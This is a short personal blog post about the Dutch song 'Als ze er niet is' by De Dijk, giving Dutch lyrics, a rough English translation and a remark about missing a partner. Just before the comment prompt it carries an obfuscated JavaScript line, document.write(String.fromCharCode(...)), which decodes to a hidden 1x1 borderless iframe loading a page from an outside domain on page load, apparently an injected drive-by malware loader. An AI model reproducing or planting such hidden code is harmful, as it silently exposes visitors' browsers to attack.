When

When I told my collegue this song described my feelings so accurately he commented that it would probably describe the feelings of all males so it seems somewhat important to repeat it. It is in Dutch and I will try to translate it but unfortunately a lot of the poetics is gone in a reasonable accurate English translation:

Tien tegen één
Dat ik mijn mond hou
Als ik je weer zie
Ik ken mezelf onderhand
Een prater ben ik niet
“Hoe was het hier”
Zal je vragen
En ik zal zeggen “goed”
En ik zeg je niet
Wat ik nu denk
Dat ik je eigenlijk zeggen moet

Roughly, it translates to something like this:

Ten to one
That I won’t say a thing
When I see you again
I know myself by now
I’m not a talker
“How were things here”
You will ask
And I will say “fine”
And I don’t say to you
That what I know think
I should say to you

“Als ze er niet is” bij “De Dijk”. Pure genious.

A man knows not what he’s missing until she’s gone.

It’s true.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment